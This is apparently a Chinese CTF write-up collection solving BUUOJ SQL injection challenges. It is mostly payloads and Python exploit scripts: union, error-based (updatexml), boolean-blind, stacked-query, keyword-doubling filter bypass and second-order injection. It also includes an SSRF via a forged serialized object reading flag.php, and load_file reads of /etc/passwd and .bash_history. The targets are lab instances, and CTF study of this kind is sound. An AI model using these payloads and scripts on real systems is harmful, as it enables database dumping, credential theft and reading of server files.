文章目录
[极客大挑战 2019]EasySQL
题目考点:sql注入万能密码
访问网址,尝试登录
check.php?username=admin&password=123
显示用户名密码错误。尝试单引号注入发现报错:
check.php?username=admin'&password=123
尝试后发现后加%23
回显就又正常了,%23即#
,这里需编码后使用。
check.php?username=admin'%23&password=123
尝试万能密码 or 1=1,发现就得到了flag。
[极客大挑战 2019]LoveSQL
题目考点:字符型注入
username=1&password=123 //显示 NO,Wrong username password!!!
username=1'&password=123 //报错
username=1'#&password=123 //显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123 //显示 Login Success!Hello admin!Your password is 'xxx'
开始尝试order by猜字段数
username=1' order by 4#&password=123 //显示 Unknown column '4' in 'order clause'
username=1' order by 3#&password=123 //显示 NO,Wrong username password,说明有3个字段
开始爆库、爆表、爆列、爆字段
username=1' union select 1,2,3#&password=123 //显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' union select 1,database(),3#&password=123 //得到库名“geek”
username=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#&password=123 //得到表名“geekuser,l0ve1ysq1”
username=1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1'#&password=123 //得到列名“id,username,password”
username=1' union select 1,group_concat(password),3 from l0ve1ysq1#&password=123 //得到flag
[极客大挑战 2019]BabySQL
题目考点:字符型注入、双写绕过
username=1&password=123 //显示 NO,Wrong username password!!!
username=1'&password=123 //报错
username=1'#&password=123 //显示 NO,Wrong username password!!!
username=1' or 1=1#&password=123 //显示 Error!
看来是存在过滤了,尝试后发现可以异或注入
,Fuzz模糊测试一下。
发现被过滤了好多啊,尝试双写绕过
,成功。
以下内容都是填在框中的,这里这么写只是为了方便表述。当然的,在hackbar下只需要将#改成%23即可。
username=1' oorr 1=1#&password=123 //显示 Login Success!
开始尝试order by猜字段数
username=1' oorrder bbyy 4#&password=123 //显示 Unknown column '4' in 'order clause'
username=1' oorrder bbyy 3#&password=123 //显示 NO,Wrong username password,说明有3个字段
开始爆库、爆表、爆列、爆字段
username=1' ununionion seselectlect 1,2,3#&password=123 //显示 Hello 2!Your password is '3',这里表明有2,3两个回显位
username=1' ununionion seselectlect 1,database(),3#&password=123 //得到库名“geek”
username=1' ununionion seselectlect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whwhereere table_schema=database()#&password=123 //得到表名“b4bsql,geekuser”
username=1' ununionion seselectlect 1,group_concat(column_name),3 frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'#&password=123 //得到列名“id,username,password”
username=1' ununionion seselectlect 1,group_concat(passwoorrd),3 frfromom b4bsql#&password=123 //得到flag
[极客大挑战 2019]HardSQL
题目考点:报错注入
经测试,发现过滤了很多关键字,进行FUZZ一下得到以下关键字都被过滤
不过发现报错注入的关键字 updatexml
和 extractvalue
并没有被过滤,or
也没被过滤,空格被过滤使用()
代替,等号被过滤用 like
代替。
# 得到库名 geek
?username=1'or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=111
# 得到表名 H4rDsq1
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=111
# 得到列名 id,username,password
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=111
# 查看字段值,发现只有一半flag值
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',password))from(H4rDsq1)),0x7e),1))%23&password=111
后半段内容可以通过 right() 或 reverse() 等函数进行读取还原。
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'~',username,'~',right(password,23)))from(H4rDsq1)),0x7e),1))%23&password=111
拼接一下得到最终flag。
[极客大挑战 2019]FinalSQL
题目考点:布尔盲注
经过尝试,发现存在异或注入,传入 id=1^2
与 id=3
的结果一致。
过滤了一些字符,FUZZ一下得到以下字符被过滤
就可以利用布尔盲注获取flag
import requests,re,time
res = ''
url = 'http://6b059bea-9773-473c-93d3-528407e27a5d.node4.buuoj.cn/search.php?id='
for i in range(172,240):
print(i,end='\t')
high = 128
low = 32
mid = (low + high) // 2
while high > low:
# 得到库名 geek
payload = "1^(ascii(substr((select(database())),{},1))>{})".format(i,mid)
# 得到表名 F1naI1y,Flaaaaag
payload = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})".format(i,mid)
# 得到列名 id,username,password
payload = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(i,mid)
# 得到字段值
payload = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),{},1))>{})".format(i,mid)
#print(payload)
r = requests.get(url+payload)
if 'ERROR' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
res += chr(int(mid))
print(res)
# 速度太快,网站会崩
time.sleep(0.3)
[强网杯 2019]随便注
题目考点:堆叠注入、rename的使用
访问网址
输入 1' 报错, 1'# 显示正常,说明存在注入。
输入 1' order by 2# 显示正常,输入 1' order by 3# 报错。
输入 1' union select 1,2# 返回一个正则过滤规则,几乎常用的字段都被过滤了。
尝试堆叠注入
1';show databases#
成功回显:
得到两个表 1919810931114514
和 words
。
查words表里的字段:
1';show columns from words#
发现words表字段为id和data,这和最开始回显的内容对应。
猜测回显的就是words表里的内容。
再来看看1919810931114514 表的内容,数据库中全数字组成的表需要用反引号`括起来。
1';show columns from `1919810931114514`#
发现这张表有我们想要的flag。
回显的是words表里的id和data,那怎么取出1919810931114514
表里的flag呢?
骚操作:改名。
没有过滤alter
和rename
,那就将1919810931114514表改名为words,将flag字段改为id。
1、在MySQL中,RENAME语句修改表名。基本语法格式如下:
RENAME TABLE 旧表名 TO 新表名;
2、在MySQL中,ALTER TABLE语句修改数据表的字段名。基本语法格式如下:
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
最终payload:
1';rename table words to aaa;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show columns from words;#
接着只要输入 1' or '1'='1
就能拿到flag。
方法二:利用预编译语句
1';SET @sql = CONCAT('sel','ect',' * from `1919810931114514`;');PREPARE air from @sql;EXECUTE air;#
[SUCTF 2019]EasySQL
题目考点:堆叠注入、pipes_as_concat的使用
访问网址:
尝试了一下,发现回显的就三种样子:
成功回显就会有存在Array字眼;
失败回显就是空;
被过滤了就是Nonono。
Fuzz模糊测试了一下,发现过滤了一大堆:
尝试了一下堆叠注入,成功回显:
1;show databases;
1;show tables;
1;show columns from tables;
该死的,查看了一下之前Fuzz的结果,发现from被过滤了。
经过百度,发现原理是
select $_GET['query'] || flag from flag
还发现原来没有过滤*
,导致了非预期解。
预期解:
知识点:
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数concat相类似。
在oracle 缺省支持 通过“||”来实现字符串拼接,但在mysql缺省不支持。需要调整mysql 的sql_mode 模式为pipes_as_concat。
所以payload如下:
1;set sql_mode=pipes_as_concat;select 1
[CISCN2019 华北赛区 Day2 Web1]Hack World
题目考点:sql异或注入、布尔盲注
尝试后发现过滤了一些东西,
发现异或注入
可以用
那就Fuzz模糊测试一下:
发现过滤了一大堆东西,不过ascii、mid、substr、from等没有被过滤,空格被过滤直接括号代替,直接上脚本:
import requests
url='http://65eecc40-ec4a-4f27-bb05-b615122057de.node3.buuoj.cn/index.php'
res = ""
for i in range(1,50):
print(i,end='\t')
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload = "1^(ascii(mid((select(flag)from(flag)),{},1))>{})".format(i,mid)
#print(payload)
data = {"id":payload}
r = requests.post(url, data = data)
if 'Error' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
res += chr(int(mid))
print(res)
[GXYCTF2019]BabySQli
题目考点:联合查询利用
BP抓包尝试:
发现一串奇怪的东西,像是base32加密,尝试base32解码
后再base64解码得到:
select * from user where username = '$name'
尝试一些其他的name发现是wrong user!
,而尝试admin是wrong pass!
。
尝试:
name=1&pw=123 //显示wrong user!
name=1'&pw=123 //报错
name=1'%23&pw=123 //显示wrong user!
name=1' or 1=1 %23&pw=123 //显示do not hack me!,猜测过滤了or
name=1' Order by 4 %23&pw=123 //大小写绕过,显示Error: Unknown column '4' in 'order clause'
name=1' Order by 3 %23&pw=123 //显示wrong user!,说明有3列
name=1' union select 1,2,3 %23&pw=123 //显示wrong user!
name=1' union select 'admin',2,3 %23&pw=123 //显示wrong user!
name=1' union select 1,'admin',3 %23&pw=123 //显示wrong pass!,说明用户在第二列
这里由于回显的机制,没法常规注入爆库、爆表。但是这里却有一点可以利用,就是联合注入时查出来的是我们自己填的值,见下图:
也就是admin的password会被我们自己填的值所替代,尝试:
name=1' union select 1,'admin',3 %23&pw=3
还是回显的wrong pass!,猜测后台经过md5加密,尝试一下:
name=1' union select 1,'admin','eccbc87e4b5ce2fe28308fd9f2a7baf3' %23&pw=3
这里eccbc87e4b5ce2fe28308fd9f2a7baf3
就是3
的md5值,拿到最终flag。
[Black Watch 入群题]Web
题目考点:布尔盲注
在Network处可以查看到一个疑似sql注入的网址:
尝试后发现if、ascii、substr
没被过滤,可以布尔盲注。空格被过滤了用括号代替。
直接放python脚本:
import requests
url = 'http://c1d20405-bb2c-4c4d-9eb2-1695e618b54d.node3.buuoj.cn/backend/content_detail.php?id=1'
res = ''
'''
#数据库名
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr(database(),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:database()=news
'''
'''
#表名
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:table_name=admin,content
'''
'''
#列名
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=0x61646d696e)),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:column_name=id,username,password,is_enable
'''
#字段值
for i in range(0,40):
print('i = '+str(i))
for j in range(32,127):
payload = "^if(ascii(substr((select(group_concat(is_enable))from(admin)),{},1))={},3,0)".format(str(i),str(j))
txt = requests.get(url+payload)
if '0xpoker' in txt.text:
res += chr(j)
print('j =',j,'\tres =',res)
#结果:id:1,2
#结果:username:d9ca673c,451fe314
#结果:password:36eb03b9,c5d884a5
#结果:is_enable:0,1
使用username=451fe314、password=c5d884a5
进行登录,成功拿到flag。
[网鼎杯 2018]Fakebook
题目考点:源码泄露、sql联合注入、ssrf、文件读取
扫描后发现敏感文件robots.txt
和flag.php
文件,访问robots.txt得到/user.php.bak
源码备份,访问flag.php却没结果。
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
//CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_exec():执行 cURL 会话
$output = curl_exec($ch);
//CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
//调用get()方法执行我们传入的blog,这里就存在着SSRF漏洞;
//之前我们访问flag.php没有结果,那我们在这里可以使用file文件协议访问flag.php,由服务器给我们执行再返回结果。
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
//blog里执行输入这些,输入其他的就会被过滤掉
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
先去注册一个用户并显示:
view.php?no=2 //回显不正常
view.php?no=2 or 1=1 //回显正常,说明存在注入点
开始尝试order by猜字段数
view.php?no=1 order by 5 //报错,[*] query error! (Unknown column '5' in 'order clause')
view.php?no=1 order by 4 //回显正常,说明有4个字段
开始爆库、爆表、爆列、爆字段
view.php?no=0 union select 1,2,3,4 //报错,no hack ~_~
view.php?no=0 union select 1,2,3,4 //回显正常,猜测过滤了“union select”,但是union和select都没有被过滤,中间弄成两个空格即可绕过。而且username处显示了数字2,说明此处就是回显位。
view.php?no=0 union select 1,database(),3,4 //爆出数据库“fakebook”
view.php?no=0 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() //爆出表名“users”
view.php?no=0 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users' //爆出“no,username,passwd,data”
view.php?no=0 union select 1,data,3,4 from users //爆出“ O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";} ”
从
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:13:"www.baidu.com";}
可以看出表中存的是反序列化的结果,那我们自己构造反序列化结果传入,使用file协议读取flag.php。其余的不变,就是将s:13:"www.baidu.com";
改为s:29:"file:///var/www/html/flag.php";
即可,我偷懒不写程序来反序列化,因为反序列化的构成就是固定的s:内容长度:"内容";
。
那么最终payload:
view.php?no=0 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:12;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
这里需要注意,union select 1,2,3,4
,写在第4个位置上是因为程序执行的是blog,写在之前的第2个位置上没用的。最终拿到flag。
方法二:
没有过滤load_file()方法,那么直接读就好了,payload:
view.php?no=0 union select 1,load_file('/var/www/html/flag.php'),3,4
[网鼎杯2018]Unfinish
题目考点:二次注入
首页就是登录,猜测有个register.php
。当然扫描就能得到。
随便注册一个账号,然后进行登录。
登录后发现注册的用户名显示出来了。猜测此处可能存在二次注入。
回到注册解密,发现在用户名处填入 ,
会显示 nnnnoooo!!!
,说明存在过滤。
FUZZ测试一下,发现被过滤的有:
tab(%09)、逗号(,)、information、%0a、%a0
从单引号的长度发现和其他的不一样,测试一下,发现并不是被过滤,而是单引号会引起sql语句报错,导入注册不成功。
尝试注册1' and '0
,发现确实可以注册成功,用户名显示为0
# 使用 + 运算符
select '0'+'123a'; #结果为123
# 尝试获取数据库名的第一个字符
select '0'+ascii(substr(database(),1,1))+'0';
# 不过逗号被过滤,可使用 from for 代替
select '0'+ascii(substr(database() from 1 for 1))+'0';
进行测试,注册一个 0'+ascii(substr(database() from 1 for 1))+'0
用户,得到119
,ascii码值为w
。
说明思路正确,不过由于 information 表被过滤,直接猜测存在一个 flag 表,写exp得到flag:
import requests
import re
import time
def main():
flag = ''
url = 'http://d13edc9f-d5fa-4cf4-bd5c-002272cc9e73.node4.buuoj.cn/'
url_register = url + 'register.php'
url_login = url + 'login.php'
for i in range(100):
email = "air{}@air.com".format(i)
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i)
data_register = {"email" : email, "username" : payload, "password" : "air"}
data_login = {"email" : email, "password" : "air"}
requests.post(url_register, data=data_register)
rl = requests.post(url_login, data=data_login)
res = re.findall(r'<span class="user-name">\s*(\d+)\s*</span>',rl.text)
flag = flag+chr(int(res[0]))
print(flag)
# 速度太快,网站会崩
time.sleep(1)
if __name__ == '__main__':
main()
[网鼎杯 2018]Comment
题目考点: git泄露、二次注入、load_file()使用
发帖提示要登录,由 zhangwei***
猜测弱口令,爆破得到 zhangwei666
。
控制台处看到提示,猜测git泄露
使用 githack 工具进行提取,得到 write_do.php
内容如下:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
break;
case 'comment':
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
使用如下内容查看所有分支的所有操作记录,包括commit和reset的操作,包括已经被删除的commit记录
git log --reflog
使用如下命令进行强制恢复到指定 comment_id 所指的记录。
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
得到恢复后的write_do.php
内容:
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
在write部分使用addslashes()函数进行了过滤
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
但是在comment部分对从数据库中取出的category没有过滤,这就造成了二次注入
$category = mysql_fetch_array($result)['category'];
addslashes过滤后产生的 \
不会被写入到数据库中,即 '1
过滤后变成 \'1
,到库中后仍为 '1
,取出数据后进行二次拼接,就造成了二次注入。
#插入到 board 表中
$sql = "insert into board set category = '$category',
title = '$title',
content = '$content'";
#从 board 表中取出的 category 直接拼接到语句中插入到 comment 表中造成二次注入
$sql = "insert into comment set category = '$category',
content = '$content',
bo_id = '$bo_id'";
尝试构造恶意语句:
# 发帖处传入 category=',content = user(),/*
insert into board set category = '\',content = user(),/*',
title = '1',
content = '1';
# 此时 board 表里的 category=',content = user(),/*
# 提交留言处传入 content=*/#,回到sql语句本身,取出 category 的值进行拼接
insert into comment set category = '',content = user(),/*',
content = '*/#',
bo_id = '1';
# 此时二次注入成功,content的值变为了恶意构造的 user(),得到结果
为了方便操作,根据分析写出 exp:
import requests,re
url_base = 'http://5dda4395-a17a-411a-8dcc-75f5c7a03c8d.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
'username': 'zhangwei',
'password': 'zhangwei666'
}
session.post(url_login, data=data_login)
# 发帖
url_write = url_base + 'write_do.php?do=write'
# 这里操作时需要不断的修改 id 和 payload 的值
id = '1'
#payload = "',content=user(),/*"
#payload = "',content=database(),/*"
#payload = "',content=(select group_concat(table_name) from information_schema.tables where table_schema=database()),/*"
#payload = "',content=(select group_concat(column_name) from information_schema.columns where table_name='user'),/*"
payload = "',content=(select group_concat(id,'~',username,'~',password) from user),/*"
data_write = {
'category': payload,
'content': 'air',
'title': 'air'
}
session.post(url_write, data=data_write)
# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
'content': '*/#',
'bo_id': id
}
session.post(url_comment, data=data_comment)
# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text)
if match:
print(match[0])
经常规操作,发现表有 board,comment,user
三张,不过没有什么重要信息。猜测 flag 不在数据库,尝试使用 load_file 加载文件查看。
修改 exp 里的 id 和 payload:
payload = "',content=(select load_file('/etc/passwd')),/*"
得到
查看www用户的历史操作命令
payload = "',content=(select load_file('/home/www/.bash_history')),/*"
得到
cd /tmp/
unzip html.zip
rm -f html.zip
cp -r html /var/www/
cd /var/www/html/
rm -f .DS_Store
service apache2 start
经分析,/var/www/html/
下的 .DS_Store
被删除了,但是 /tmp/html
还在,读取
payload = "',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*"
获取到的是16进制值,使用 010Editor 打开查看到存在一个 flag_8946e1ff1ee3e40f.php
。
读取flag
payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"
exp:
import requests,re
url_base = 'http://32e5d91b-45e9-49a0-9726-096897de6b88.node4.buuoj.cn/'
session = requests.Session()
# 登录
url_login = url_base + 'login.php'
data_login = {
'username': 'zhangwei',
'password': 'zhangwei666'
}
session.post(url_login, data=data_login)
# 发帖
url_write = url_base + 'write_do.php?do=write'
id = '1'
payload = "',content=(select load_file('/var/www/html/flag_8946e1ff1ee3e40f.php')),/*"
data_write = {
'category': payload,
'content': 'air',
'title': 'air'
}
session.post(url_write, data=data_write)
# 留言
url_comment = url_base + 'write_do.php?do=comment'
data_comment = {
'content': '*/#',
'bo_id': id
}
session.post(url_comment, data=data_comment)
# 查看结果
url_res = url_base + 'comment.php?id=' + id
r = session.get(url_res)
match = re.findall('<div class="col-sm-5"><p>(.*?)</p></div>', r.text, re.S)
if match:
print(match[0])